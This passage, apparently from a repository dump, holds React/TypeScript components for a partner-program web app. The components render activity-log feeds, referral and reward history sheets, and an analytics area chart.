RAINBOW_CONIC_GRADIENT,\n          },\n        })}\n      />\n      {name}\n    </ActivityChip>\n  );\n}\n\nexport function SourcePill({ icon, label }: SourcePillProps) {\n  return (\n    <ActivityChip>\n      {icon}\n      {label}\n    </ActivityChip>\n  );\n}\n\nexport function UserChip({ user }: UserChipProps) {\n  return (\n    <ActivityChip>\n      <img\n        src={user.image || `${OG_AVATAR_URL}${user.id}`}\n        alt={`${user.name || user.email || \"Deleted user\"}`}\n        className=\"size-4 shrink-0 rounded-full\"\n      />\n      {user.name || user.email || \"Deleted user\"}\n    </ActivityChip>\n  );\n}\n\nexport function ProgramChip({ program }: ProgramChipProps) {\n  return (\n    <ActivityChip>\n      <img\n        src={program.logo || `${OG_AVATAR_URL}${program.id}`}\n        alt={program.name}\n        className=\"size-4 shrink-0 rounded-full\"\n      />\n      {program.name}\n    </ActivityChip>\n  );\n}\n\nexport function SystemChip() {\n  return (\n    <ActivityChip>\n      <Bolt className=\"size-3 text-neutral-500\" />\n      System\n    </ActivityChip>\n  );\n}\n\nexport function ActorChip({ log }: ActorChipProps) {\n  const { program } = useActivityLogContext();\n\n  if (program) {\n    return <ProgramChip program={program} />;\n  }\n\n  const actorType = getActorType(log);\n\n  if (actorType === \"USER\" && log.user) {\n    return <UserChip user={log.user} />;\n  }\n\n  return <SystemChip />;\n}\n\nexport function ReferralStatusPill({ status }: { status: ReferralStatus }) {\n  const badge = ReferralStatusBadges[status];\n\n  if (!badge) return null;\n\n  return <ActivityChip className={badge.className}>{badge.label}</ActivityChip>;\n}\n\nexport function ActivityLogUserAvatar({ user }: { user: ActivityLog[\"user\"] }) {\n  if (!user) return null;\n\n  const image = user.image || `${OG_AVATAR_URL}${user.id}`;\n  const name = user.name || user.email || \"User\";\n\n  return (\n    <Tooltip\n      content={\n        <div className=\"flex flex-col gap-1 p-2.5\">\n          <img\n            src={image}\n            alt={name}\n            className=\"size-6 shrink-0 rounded-full\"\n          />\n          <p className=\"text-sm font-medium text-neutral-900\">{name}</p>\n          {user.email && user.name && (\n            <p className=\"text-xs text-neutral-500\">{user.email}</p>\n          )}\n        </div>\n      }\n    >\n      <div>\n        <img\n          src={image}\n          alt={name}\n          className=\"size-4 shrink-0 rounded-full transition-transform duration-100 hover:scale-110 hover:cursor-pointer\"\n        />\n      </div>\n    </Tooltip>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/activity-logs/activity-feed.tsx",
    "content": "import { ActivityLog, ActivityLogResourceType } from \"@/lib/types\";\nimport { PartnerGroupActivityItem } from \"@/ui/activity-logs/partner-group-activity-item\";\nimport { ReferralActivityItem } from \"@/ui/activity-logs/referral-activity-item\";\nimport { RewardActivityItem } from \"@/ui/activity-logs/reward-activity-item\";\nimport { ComponentType } from \"react\";\n\nconst ACTIVITY_ITEM_MAP: Record<\n  ActivityLogResourceType,\n  ComponentType<{ log: ActivityLog; isLast?: boolean }>\n> = {\n  partner: PartnerGroupActivityItem,\n  referral: ReferralActivityItem,\n  clickReward: RewardActivityItem,\n  leadReward: RewardActivityItem,\n  saleReward: RewardActivityItem,\n};\n\ninterface ActivityFeedProps {\n  logs: ActivityLog[];\n  resourceType: ActivityLogResourceType;\n}\n\nexport function ActivityFeed({ logs, resourceType }: ActivityFeedProps) {\n  if (!logs || logs.length === 0) {\n    return null;\n  }\n\n  const ActivityItemComponent = ACTIVITY_ITEM_MAP[resourceType];\n\n  return (\n    <ul className=\"flex min-w-0 flex-col\" role=\"list\">\n      {logs.map((log, index) => (\n        <ActivityItemComponent\n          key={log.id}\n          log={log}\n          isLast={index === logs.length - 1}\n        />\n      ))}\n    </ul>\n  );\n}\n\nexport function ActivityFeedSkeleton({ count = 3 }: { count?: number }) {\n  return (\n    <ul className=\"flex min-w-0 flex-col\" role=\"list\">\n      {Array.from({ length: count }).map((_, i) => (\n        <li key={i} className=\"relative flex min-w-0 gap-3\">\n          {i < count - 1 && (\n            <div\n              className=\"absolute left-[11px] top-6 h-[calc(100%-8px)] w-px bg-neutral-200\"\n              aria-hidden=\"true\"\n            />\n          )}\n          <div className=\"flex size-6 shrink-0 items-center justify-center\">\n            <div className=\"size-5 animate-pulse rounded-full bg-neutral-200\" />\n          </div>\n          <div className=\"flex min-w-0 flex-1 flex-col gap-1 pb-6\">\n            <div className=\"h-5 w-3/4 animate-pulse rounded bg-neutral-200\" />\n            <div className=\"h-4 w-24 animate-pulse rounded bg-neutral-200\" />\n          </div>\n        </li>\n      ))}\n    </ul>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/activity-logs/activity-log-context.tsx",
    "content": "\"use client\";\n\nimport { ProgramProps } from \"@/lib/types\";\nimport { createContext, ReactNode, useContext } from \"react\";\n\nexport type ActivityLogView = \"program\" | \"partner\";\n\nexport interface ActivityLogContextValue {\n  program: Pick<ProgramProps, \"id\" | \"name\" | \"logo\"> | null;\n  view: ActivityLogView;\n}\n\nconst ActivityLogContext = createContext<ActivityLogContextValue>({\n  program: null,\n  view: \"program\",\n});\n\nexport function ActivityLogProvider({\n  program,\n  view = \"program\",\n  children,\n}: {\n  program?: Pick<ProgramProps, \"id\" | \"name\" | \"logo\"> | null;\n  view?: ActivityLogView;\n  children: ReactNode;\n}) {\n  const value: ActivityLogContextValue = {\n    program: program ?? null,\n    view,\n  };\n\n  return (\n    <ActivityLogContext.Provider value={value}>\n      {children}\n    </ActivityLogContext.Provider>\n  );\n}\n\nexport function useActivityLogContext(): ActivityLogContextValue {\n  return useContext(ActivityLogContext);\n}\n"
  },
  {
    "path": "apps/web/ui/activity-logs/activity-log-description.tsx",
    "content": "import { ActivityLog } from \"@/lib/types\";\nimport { OG_AVATAR_URL, timeAgo } from \"@dub/utils\";\nimport { useActivityLogContext } from \"./activity-log-context\";\n\ninterface ActivityLogDescriptionProps {\n  log: ActivityLog;\n}\n\ninterface Actor {\n  id: string;\n  name: string;\n  image: string;\n}\n\nexport function ActivityLogDescription({\n  log: { user, description, createdAt },\n}: ActivityLogDescriptionProps) {\n  const { program } = useActivityLogContext();\n\n  let actor: Actor | null = null;\n\n  if (program) {\n    actor = {\n      id: program.id,\n      name: program.name,\n      image: program.logo || `${OG_AVATAR_URL}${program.id}`,\n    };\n  } else if (user) {\n    actor = {\n      id: user.id,\n      name: user.name || user.email || \"Unknown user\",\n      image: user.image || `${OG_AVATAR_URL}${user.id}`,\n    };\n  }\n\n  return (\n    <div className=\"mt-2 rounded-xl border border-neutral-200 px-4 py-3\">\n      <div className=\"flex items-center gap-1.5 text-xs\">\n        {actor && (\n          <>\n            <img\n              src={actor.image}\n              alt={actor.name}\n              className=\"size-4 shrink-0 rounded-full\"\n            />\n            <span className=\"text-content-default font-semibold\">\n              {actor.name}\n            </span>\n            <span className=\"text-content-muted\">·</span>\n          </>\n        )}\n\n        <span className=\"text-content-subtle font-normal\">\n          {timeAgo(createdAt, { withAgo: true })}\n        </span>\n      </div>\n\n      {description && (\n        <p className=\"text-content-subtle mt-2 text-sm\">{description}</p>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/activity-logs/activity-log-registry.tsx",
    "content": "import { ActivityLog, ActivityLogAction } from \"@/lib/types\";\nimport {\n  CircleInfo,\n  FileSend,\n  MoneyBill2,\n  Pen2,\n  UserArrowRight,\n  UserClock,\n} from \"@dub/ui\";\nimport { CircleMinus, CirclePlusIcon } from \"lucide-react\";\nimport { ComponentType, ReactNode } from \"react\";\nimport { PartnerGroupChangedRenderer } from \"./action-renderers/partner-group-changed-renderer\";\nimport { ReferralCreatedRenderer } from \"./action-renderers/referral-created-renderer\";\nimport { ReferralStatusChangedRenderer } from \"./action-renderers/referral-status-changed-renderer\";\nimport { RewardActivityRenderer } from \"./action-renderers/reward-activity-renderer\";\n\nexport type ActorType = \"USER\" | \"SYSTEM\";\n\ntype ActivityLogRenderer = (props: { log: ActivityLog }) => ReactNode;\n\nexport function getActorType(log: ActivityLog): ActorType {\n  return log.user ? \"USER\" : \"SYSTEM\";\n}\n\nconst ACTIVITY_LOG_ICONS: Partial<\n  Record<ActivityLogAction, ComponentType<{ className?: string }>>\n> = {\n  \"partner.groupChanged\": UserArrowRight,\n\n  \"referral.created\": FileSend,\n  \"referral.qualified\": UserClock,\n  \"referral.meeting\": UserClock,\n  \"referral.negotiation\": UserClock,\n  \"referral.unqualified\": UserClock,\n  \"referral.closedWon\": UserClock,\n  \"referral.closedLost\": UserClock,\n\n  \"reward.created\": MoneyBill2,\n  \"reward.updated\": Pen2,\n  \"reward.deleted\": CircleMinus,\n  \"reward.conditionAdded\": CirclePlusIcon,\n  \"reward.conditionRemoved\": CircleMinus,\n  \"reward.conditionUpdated\": Pen2,\n};\n\nconst ACTIVITY_LOG_REGISTRY: Array<{\n  action: ActivityLogAction;\n  renderer: ActivityLogRenderer;\n}> = [\n  {\n    action: \"partner.groupChanged\",\n    renderer: PartnerGroupChangedRenderer,\n  },\n  {\n    action: \"referral.created\",\n    renderer: ReferralCreatedRenderer,\n  },\n  ...(\n    [\n      \"referral.qualified\",\n      \"referral.meeting\",\n      \"referral.negotiation\",\n      \"referral.unqualified\",\n      \"referral.closedWon\",\n      \"referral.closedLost\",\n    ] as const\n  ).map((action) => ({\n    action,\n    renderer: ReferralStatusChangedRenderer,\n  })),\n  ...(\n    [\n      \"reward.created\",\n      \"reward.updated\",\n      \"reward.deleted\",\n      \"reward.conditionAdded\",\n      \"reward.conditionRemoved\",\n      \"reward.conditionUpdated\",\n    ] as const\n  ).map((action) => ({\n    action,\n    renderer: RewardActivityRenderer,\n  })),\n];\n\nconst renderers = new Map(\n  ACTIVITY_LOG_REGISTRY.map(({ action, renderer }) => [action, renderer]),\n);\n\nexport function getActivityLogRenderer(\n  action: ActivityLogAction,\n): ActivityLogRenderer | null {\n  return renderers.get(action) ?? null;\n}\n\nexport function getActivityLogIcon(log: ActivityLog): ReactNode {\n  const Icon = ACTIVITY_LOG_ICONS[log.action];\n\n  if (Icon) {\n    return <Icon className=\"size-4 text-neutral-600\" />;\n  }\n\n  return <CircleInfo className=\"size-4 text-neutral-400\" />;\n}\n"
  },
  {
    "path": "apps/web/ui/activity-logs/partner-group-activity-item.tsx",
    "content": "import { ActivityLog } from \"@/lib/types\";\nimport { TimestampTooltip } from \"@dub/ui\";\nimport { formatDate } from \"@dub/utils\";\nimport {\n  getActivityLogIcon,\n  getActivityLogRenderer,\n} from \"./activity-log-registry\";\n\ninterface PartnerGroupActivityItemProps {\n  log: ActivityLog;\n  isLast?: boolean;\n}\n\nexport function PartnerGroupActivityItem({\n  log,\n  isLast = false,\n}: PartnerGroupActivityItemProps) {\n  const icon = getActivityLogIcon(log);\n  const Renderer = getActivityLogRenderer(log.action);\n\n  if (!Renderer) {\n    return null;\n  }\n\n  return (\n    <li className=\"relative flex min-w-0 gap-3\">\n      {!isLast && (\n        <div\n          className=\"absolute left-[11px] top-6 h-[calc(100%-8px)] w-px bg-neutral-200\"\n          aria-hidden=\"true\"\n        />\n      )}\n\n      <div\n        className=\"flex size-6 shrink-0 items-center justify-center text-neutral-500\"\n        aria-hidden=\"true\"\n      >\n        {icon}\n      </div>\n\n      <div className=\"flex min-w-0 flex-1 flex-col gap-1 overflow-hidden pb-6\">\n        <div className=\"flex min-w-0 flex-wrap items-center gap-1.5 text-sm text-neutral-700\">\n          <Renderer log={log} />\n        </div>\n        <TimestampTooltip\n          timestamp={log.createdAt}\n          side=\"left\"\n          rows={[\"local\", \"utc\", \"unix\"]}\n        >\n          <time className=\"text-xs text-neutral-500\">\n            {formatDate(log.createdAt, {\n              month: \"short\",\n              year: \"numeric\",\n              hour: \"numeric\",\n              minute: \"2-digit\",\n            })}\n          </time>\n        </TimestampTooltip>\n      </div>\n    </li>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/activity-logs/partner-group-activity-section.tsx",
    "content": "\"use client\";\n\nimport { useActivityLogs } from \"@/lib/swr/use-activity-logs\";\nimport {\n  ActivityFeed,\n  ActivityFeedSkeleton,\n} from \"@/ui/activity-logs/activity-feed\";\n\nexport function PartnerGroupActivitySection({\n  partnerId,\n}: {\n  partnerId: string;\n}) {\n  const { activityLogs, loading, error } = useActivityLogs({\n    query: {\n      resourceType: \"partner\",\n      resourceId: partnerId,\n      action: \"partner.groupChanged\",\n    },\n    enabled: !!partnerId,\n  });\n\n  if (loading) {\n    return <ActivityFeedSkeleton count={3} />;\n  }\n\n  if (error) {\n    return (\n      <div className=\"flex flex-col items-center justify-center py-8 text-center\">\n        <p className=\"text-sm text-neutral-500\">\n          Failed to load history. Please try again.\n        </p>\n      </div>\n    );\n  }\n\n  if (!activityLogs || activityLogs.length === 0) {\n    return (\n      <div className=\"flex flex-col items-center justify-center py-8 text-center\">\n        <p className=\"text-sm text-neutral-500\">No group history yet</p>\n      </div>\n    );\n  }\n\n  return <ActivityFeed logs={activityLogs} resourceType=\"partner\" />;\n}\n"
  },
  {
    "path": "apps/web/ui/activity-logs/partner-group-history-sheet.tsx",
    "content": "\"use client\";\n\nimport { useActivityLogs } from \"@/lib/swr/use-activity-logs\";\nimport { EnrolledPartnerExtendedProps } from \"@/lib/types\";\nimport { PartnerGroupActivitySection } from \"@/ui/activity-logs/partner-group-activity-section\";\nimport { X } from \"@/ui/shared/icons\";\nimport { Button, Sheet } from \"@dub/ui\";\nimport { Dispatch, SetStateAction, useState } from \"react\";\n\ninterface PartnerGroupHistorySheetProps {\n  partner: Pick<EnrolledPartnerExtendedProps, \"id\">;\n  isOpen: boolean;\n  setIsOpen: Dispatch<SetStateAction<boolean>>;\n}\n\nfunction PartnerGroupHistorySheetContent({\n  partner,\n}: Omit<PartnerGroupHistorySheetProps, \"isOpen\">) {\n  return (\n    <div className=\"flex size-full flex-col\">\n      <div className=\"flex h-16 shrink-0 items-center justify-between border-b border-neutral-200 px-6 py-4\">\n        <Sheet.Title className=\"text-lg font-semibold\">\n          Partner group history\n        </Sheet.Title>\n        <Sheet.Close asChild>\n          <Button\n            variant=\"outline\"\n            icon={<X className=\"size-5\" />}\n            className=\"h-auto w-fit p-1\"\n          />\n        </Sheet.Close>\n      </div>\n\n      <div className=\"scrollbar-hide flex min-h-0 flex-1 flex-col overflow-y-auto p-4 sm:p-6\">\n        <PartnerGroupActivitySection partnerId={partner.id} />\n      </div>\n    </div>\n  );\n}\n\nexport function PartnerGroupHistorySheet({\n  isOpen,\n  ...rest\n}: PartnerGroupHistorySheetProps) {\n  return (\n    <Sheet open={isOpen} onOpenChange={rest.setIsOpen}>\n      <PartnerGroupHistorySheetContent {...rest} />\n    </Sheet>\n  );\n}\n\nexport function usePartnerGroupHistorySheet({\n  partner,\n}: {\n  partner: Pick<EnrolledPartnerExtendedProps, \"id\"> | null;\n}) {\n  const [isOpen, setIsOpen] = useState(false);\n\n  const { activityLogs } = useActivityLogs({\n    query: partner\n      ? {\n          resourceType: \"partner\",\n          resourceId: partner.id,\n          action: \"partner.groupChanged\",\n        }\n      : undefined,\n    enabled: !!partner?.id,\n  });\n\n  return {\n    hasActivityLogs: (activityLogs?.length ?? 0) > 0,\n    partnerGroupHistorySheet: partner ? (\n      <PartnerGroupHistorySheet\n        partner={partner}\n        isOpen={isOpen}\n        setIsOpen={setIsOpen}\n      />\n    ) : null,\n    setIsOpen,\n  };\n}\n"
  },
  {
    "path": "apps/web/ui/activity-logs/partner-referral-activity-section.tsx",
    "content": "\"use client\";\n\nimport { usePartnerActivityLogs } from \"@/lib/swr/use-partner-activity-logs\";\nimport useProgramEnrollment from \"@/lib/swr/use-program-enrollment\";\nimport {\n  ActivityFeed,\n  ActivityFeedSkeleton,\n} from \"@/ui/activity-logs/activity-feed\";\nimport { ActivityLogProvider } from \"@/ui/activity-logs/activity-log-context\";\n\nexport function PartnerReferralActivitySection({\n  referralId,\n}: {\n  referralId: string;\n}) {\n  const { programEnrollment } = useProgramEnrollment();\n\n  const { activityLogs, loading, error } = usePartnerActivityLogs({\n    query: {\n      resourceType: \"referral\",\n      resourceId: referralId,\n    },\n    enabled: !!referralId,\n  });\n\n  const logs = activityLogs ?? [];\n  const program = programEnrollment?.program;\n\n  if (logs.length === 0 && !loading && !error) {\n    return null;\n  }\n\n  return (\n    <section className=\"order-3 col-span-full flex flex-col gap-3 px-1\">\n      {!loading && (\n        <h3 className=\"text-content-emphasis text-base font-semibold\">\n          Activity\n        </h3>\n      )}\n\n      {loading ? (\n        <ActivityFeedSkeleton count={3} />\n      ) : error ? (\n        <p className=\"text-sm text-neutral-500\">\n          Failed to load activity. Please try again.\n        </p>\n      ) : (\n        <ActivityLogProvider program={program} view=\"partner\">\n          <ActivityFeed logs={logs} resourceType=\"referral\" />\n        </ActivityLogProvider>\n      )}\n    </section>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/activity-logs/referral-activity-item.tsx",
    "content": "import { ActivityLog } from \"@/lib/types\";\nimport { TimestampTooltip } from \"@dub/ui\";\nimport { formatDate } from \"@dub/utils\";\nimport { ActivityLogDescription } from \"./activity-log-description\";\nimport {\n  getActivityLogIcon,\n  getActivityLogRenderer,\n} from \"./activity-log-registry\";\n\ninterface ReferralActivityItemProps {\n  log: ActivityLog;\n  isLast?: boolean;\n}\n\nexport function ReferralActivityItem({\n  log,\n  isLast = false,\n}: ReferralActivityItemProps) {\n  const icon = getActivityLogIcon(log);\n  const Renderer = getActivityLogRenderer(log.action);\n\n  if (!Renderer) {\n    return null;\n  }\n\n  return (\n    <li className=\"relative flex min-w-0 gap-3\">\n      {!isLast && (\n        <div\n          className=\"absolute left-[11px] top-6 h-[calc(100%-8px)] w-px bg-neutral-200\"\n          aria-hidden=\"true\"\n        />\n      )}\n\n      <div\n        className=\"flex size-6 shrink-0 items-center justify-center text-neutral-500\"\n        aria-hidden=\"true\"\n      >\n        {icon}\n      </div>\n\n      <div className=\"flex min-w-0 flex-1 flex-col gap-2 overflow-hidden pb-6\">\n        <div className=\"flex min-w-0 items-center justify-between gap-3 text-sm text-neutral-700\">\n          <span className=\"flex min-w-0 flex-1 flex-wrap items-center gap-2 overflow-hidden\">\n            <Renderer log={log} />\n          </span>\n          <TimestampTooltip\n            timestamp={log.createdAt}\n            side=\"right\"\n            rows={[\"local\", \"utc\", \"unix\"]}\n          >\n            <time className=\"hidden shrink-0 text-xs text-neutral-500 sm:block\">\n              {formatDate(log.createdAt, {\n                month: \"short\",\n                year: \"numeric\",\n                hour: \"numeric\",\n                minute: \"2-digit\",\n              })}\n            </time>\n          </TimestampTooltip>\n        </div>\n        {log.description && <ActivityLogDescription log={log} />}\n      </div>\n    </li>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/activity-logs/referral-activity-section.tsx",
    "content": "\"use client\";\n\nimport { useActivityLogs } from \"@/lib/swr/use-activity-logs\";\nimport {\n  ActivityFeed,\n  ActivityFeedSkeleton,\n} from \"@/ui/activity-logs/activity-feed\";\n\nexport function ReferralActivitySection({\n  referralId,\n}: {\n  referralId: string;\n}) {\n  const { activityLogs, loading, error } = useActivityLogs({\n    query: {\n      resourceType: \"referral\",\n      resourceId: referralId,\n    },\n    enabled: !!referralId,\n  });\n\n  const logs = activityLogs ?? [];\n\n  if (logs.length === 0 && !loading && !error) {\n    return null;\n  }\n\n  return (\n    <section className=\"order-3 col-span-full flex flex-col gap-3 px-1\">\n      {!loading && (\n        <h3 className=\"text-content-emphasis text-base font-semibold\">\n          Activity\n        </h3>\n      )}\n\n      {loading ? (\n        <ActivityFeedSkeleton count={3} />\n      ) : error ? (\n        <p className=\"text-sm text-neutral-500\">\n          Failed to load activity. Please try again.\n        </p>\n      ) : (\n        <ActivityFeed logs={logs} resourceType=\"referral\" />\n      )}\n    </section>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/activity-logs/reward-activity-item.tsx",
    "content": "import { ActivityLog } from \"@/lib/types\";\nimport {\n  getActivityLogIcon,\n  getActivityLogRenderer,\n} from \"./activity-log-registry\";\n\ninterface RewardActivityItemProps {\n  log: ActivityLog;\n  isLast?: boolean;\n}\n\nexport function RewardActivityItem({\n  log,\n  isLast = false,\n}: RewardActivityItemProps) {\n  const icon = getActivityLogIcon(log);\n  const Renderer = getActivityLogRenderer(log.action);\n\n  if (!Renderer) {\n    return null;\n  }\n\n  return (\n    <li className=\"relative flex min-w-0 gap-3\">\n      {!isLast && (\n        <div\n          className=\"absolute left-[11px] top-6 h-[calc(100%-8px)] w-px bg-neutral-200\"\n          aria-hidden=\"true\"\n        />\n      )}\n\n      <div\n        className=\"flex size-6 shrink-0 items-center justify-center text-neutral-500\"\n        aria-hidden=\"true\"\n      >\n        {icon}\n      </div>\n\n      <div className=\"flex min-w-0 flex-1 flex-col gap-2 overflow-hidden pb-4\">\n        <Renderer log={log} />\n      </div>\n    </li>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/activity-logs/reward-activity-section.tsx",
    "content": "\"use client\";\n\nimport { useActivityLogs } from \"@/lib/swr/use-activity-logs\";\nimport useGroup from \"@/lib/swr/use-group\";\nimport { RewardProps } from \"@/lib/types\";\nimport { REWARD_EVENT_TO_RESOURCE_TYPE } from \"@/lib/zod/schemas/activity-log\";\nimport {\n  ActivityFeed,\n  ActivityFeedSkeleton,\n} from \"@/ui/activity-logs/activity-feed\";\n\nexport function RewardActivitySection({\n  reward,\n}: {\n  reward: Pick<RewardProps, \"id\" | \"event\">;\n}) {\n  const { group } = useGroup();\n\n  const resourceType = REWARD_EVENT_TO_RESOURCE_TYPE[reward.event];\n\n  const { activityLogs, loading, error } = useActivityLogs({\n    query: {\n      resourceType,\n      ...(group ? { parentResourceId: group.id } : {}),\n    },\n    enabled: !!reward.id,\n  });\n\n  if (loading) {\n    return <ActivityFeedSkeleton count={3} />;\n  }\n\n  if (error) {\n    return (\n      <div className=\"flex flex-col items-center justify-center py-8 text-center\">\n        <p className=\"text-sm text-neutral-500\">\n          Failed to load history. Please try again.\n        </p>\n      </div>\n    );\n  }\n\n  if (!activityLogs || activityLogs.length === 0) {\n    return (\n      <div className=\"flex flex-col items-center justify-center py-8 text-center\">\n        <p className=\"text-sm text-neutral-500\">No reward history yet</p>\n      </div>\n    );\n  }\n\n  return <ActivityFeed logs={activityLogs} resourceType={resourceType} />;\n}\n"
  },
  {
    "path": "apps/web/ui/activity-logs/reward-history-sheet.tsx",
    "content": "\"use client\";\n\nimport { useActivityLogs } from \"@/lib/swr/use-activity-logs\";\nimport useGroup from \"@/lib/swr/use-group\";\nimport { RewardProps } from \"@/lib/types\";\nimport { REWARD_EVENT_TO_RESOURCE_TYPE } from \"@/lib/zod/schemas/activity-log\";\nimport { X } from \"@/ui/shared/icons\";\nimport { Button, Sheet } from \"@dub/ui\";\nimport { capitalize } from \"@dub/utils\";\nimport { Dispatch, SetStateAction, useState } from \"react\";\nimport { RewardActivitySection } from \"./reward-activity-section\";\n\ninterface RewardHistorySheetProps {\n  reward: Pick<RewardProps, \"id\" | \"event\"> | null;\n  isOpen: boolean;\n  setIsOpen: Dispatch<SetStateAction<boolean>>;\n}\n\nfunction RewardHistorySheetContent({\n  reward,\n}: Omit<RewardHistorySheetProps, \"isOpen\" | \"setIsOpen\">) {\n  if (!reward) {\n    return null;\n  }\n\n  return (\n    <div className=\"flex size-full flex-col\">\n      <div className=\"flex h-16 shrink-0 items-center justify-between border-b border-neutral-200 px-6 py-4\">\n        <Sheet.Title className=\"text-lg font-semibold\">\n          {capitalize(reward.event)} reward history\n        </Sheet.Title>\n        <Sheet.Close asChild>\n          <Button\n            variant=\"outline\"\n            icon={<X className=\"size-5\" />}\n            className=\"h-auto w-fit p-1\"\n          />\n        </Sheet.Close>\n      </div>\n\n      <div className=\"scrollbar-hide flex min-h-0 flex-1 flex-col overflow-y-auto p-4 sm:p-6\">\n        <RewardActivitySection reward={reward} />\n      </div>\n    </div>\n  );\n}\n\nexport function RewardHistorySheet({\n  isOpen,\n  ...rest\n}: RewardHistorySheetProps) {\n  return (\n    <Sheet open={isOpen} onOpenChange={rest.setIsOpen}>\n      <RewardHistorySheetContent {...rest} />\n    </Sheet>\n  );\n}\n\nexport function useRewardHistorySheet({\n  reward,\n}: {\n  reward: Pick<RewardProps, \"id\" | \"event\"> | null;\n}) {\n  const { group } = useGroup();\n\n  const [isOpen, setIsOpen] = useState(false);\n\n  const { activityLogs } = useActivityLogs({\n    query: reward\n      ? {\n          resourceType: REWARD_EVENT_TO_RESOURCE_TYPE[reward.event],\n          ...(group ? { parentResourceId: group.id } : {}),\n        }\n      : undefined,\n    enabled: !!reward?.id,\n  });\n\n  return {\n    hasActivityLogs: (activityLogs?.length ?? 0) > 0,\n    finalActivityLogDate: activityLogs?.[0]?.createdAt,\n    rewardHistorySheet: reward ? (\n      <RewardHistorySheet\n        reward={reward}\n        isOpen={isOpen}\n        setIsOpen={setIsOpen}\n      />\n    ) : null,\n    setIsOpen,\n  };\n}\n"
  },
  {
    "path": "apps/web/ui/analytics/analytics-area-chart.tsx",
    "content": "import { formatDateTooltip } from \"@/lib/analytics/format-date-tooltip\";\nimport { EventType } from \"@/lib/analytics/types\";\nimport { editQueryString } from \"@/lib/analytics/utils\";\nimport useProgramEnrollment from \"@/lib/swr/use-program-enrollment\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { Areas, TimeSeriesChart, XAxis, YAxis } from \"@dub/ui/charts\";\nimport { cn, currencyFormatter, fetcher, nFormatter } from \"@dub/utils\";\nimport { subDays } from \"date-fns\";\nimport { Fragment, useContext, useMemo } from \"react\";\nimport useSWR from \"swr\";\nimport { AnalyticsLoadingSpinner } from \"./analytics-loading-spinner\";\nimport { AnalyticsContext } from \"./analytics-provider\";\n\nconst DEMO_DATA = [\n  180, 230, 320, 305, 330, 290, 340, 310, 380, 360, 270, 360, 280, 270, 350,\n  370, 350, 340, 300,\n]\n  .reverse()\n  .map((value, index) => ({\n    date: subDays(new Date(), index),\n    values: {\n      clicks: value,\n      leads: value,\n      sales: value,\n      saleAmount: value * 19,\n    },\n  }))\n  .reverse();\n\nexport function AnalyticsAreaChart({\n  resource,\n  demo,\n}: {\n  resource: EventType;\n  demo?: boolean;\n}) {\n  const { createdAt: workspaceCreatedAt } = useWorkspace();\n  const { programEnrollment } = useProgramEnrollment();\n  const dataAvailableFrom = [\n    workspaceCreatedAt,\n    programEnrollment?.program.startedAt,\n    programEnrollment?.program.createdAt,\n  ]\n    .filter(Boolean)\n    .reduce(\n      (earliest, current) =>\n        !earliest || (current && new Date(current) < new Date(earliest))\n          ? current\n          : earliest,\n      null,\n    ) as Date;\n\n  const {\n    baseApiPath,\n    queryString,\n    start,\n    end,\n    interval,\n    saleUnit,\n    requiresUpgrade,\n  } = useContext(AnalyticsContext);\n\n  const { data } = useSWR<\n    {\n      start: Date;\n      clicks: number;\n      leads: number;\n      sales: number;\n      saleAmount: number;\n    }[]\n  >(\n    !demo &&\n      `${baseApiPath}?${editQueryString(queryString, {\n        groupBy: \"timeseries\",\n      })}`,\n    fetcher,\n    {\n      shouldRetryOnError: !requiresUpgrade,\n    },\n  );\n\n  const chartData = useMemo(\n    () =>\n      demo\n        ? DEMO_DATA\n        : data?.map(({ start, clicks, leads, sales, saleAmount }) => ({\n            date: new Date(start),\n            values: {\n              clicks,\n              leads,\n              sales,\n              saleAmount,\n            },\n          })) ?? null,\n    [data, demo],\n  );\n\n  const series = [\n    {\n      id: \"clicks\",\n      valueAccessor: (d) => d.values.clicks,\n      isActive: resource === \"clicks\",\n      colorClassName: \"text-blue-500\",\n    },\n    {\n      id: \"leads\",\n      valueAccessor: (d) => d.values.leads,\n      isActive: resource === \"leads\",\n      colorClassName: \"text-violet-600\",\n    },\n    {\n      id: \"sales\",\n      valueAccessor: (d) => d.values[saleUnit],\n      isActive: resource === \"sales\",\n      colorClassName: \"text-teal-400\",\n    },\n  ];\n\n  const activeSeries = series.find(({ id }) => id === resource);\n\n  return (\n    <div className=\"flex h-96 w-full items-center justify-center\">\n      {chartData ? (\n        <TimeSeriesChart\n          key={queryString}\n          data={chartData}\n          series={series}\n          defaultTooltipIndex={demo ? DEMO_DATA.length - 2 : undefined}\n          tooltipClassName=\"p-0\"\n          tooltipContent={(d) => {\n            return (\n              <>\n                <p className=\"border-b border-neutral-200 px-4 py-3 text-sm text-neutral-900\">\n                  {formatDateTooltip(d.date, {\n                    interval: demo ? \"day\" : interval,\n                    start,\n                    end,\n                    dataAvailableFrom,\n                  })}\n                </p>\n                <div className=\"grid grid-cols-2 gap-x-6 gap-y-2 px-4 py-3 text-sm\">\n                  <Fragment key={resource}>\n                    <div className=\"flex items-center gap-2\">\n                      {activeSeries && (\n                        <div\n                          className={cn(\n                            activeSeries.colorClassName,\n                            \"h-2 w-2 rounded-sm bg-current opacity-50 shadow-[inset_0_0_0_1px_#0003]\",\n                          )}\n                        />\n                      )}\n                      <p className=\"capitalize text-neutral-600\">{resource}</p>\n                    </div>\n                    <p className=\"text-right font-medium text-neutral-900\">\n                      {resource === \"sales\" && saleUnit === \"saleAmount\"\n                        ? currencyFormatter(d.values.saleAmount)\n                        : nFormatter(d.values[resource], { full: true })}\n                    </p>\n                  </Fragment>\n                </div>\n              </>\n            );\n          }}\n        >\n          <Areas />\n          <XAxis\n            tickFormat={(d) =>\n              formatDateTooltip(d, {\n                interval,\n                start,\n                end,\n                dataAvailableFrom,\n              })\n            }\n          />\n          <YAxis\n            showGridLines\n            tickFormat={\n              resource === \"sales\" && saleUnit === \"saleAmount\"\n                ? (v) =>\n                    currencyFormatter(v, {\n                      trailingZeroDisplay: \"stripIfInteger\",\n                    })\n                : nFormatter\n            }\n          />\n        </TimeSeriesChart>\n      ) : (\n        <AnalyticsLoadingSpinner />\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/analytics/analytics-card.tsx",
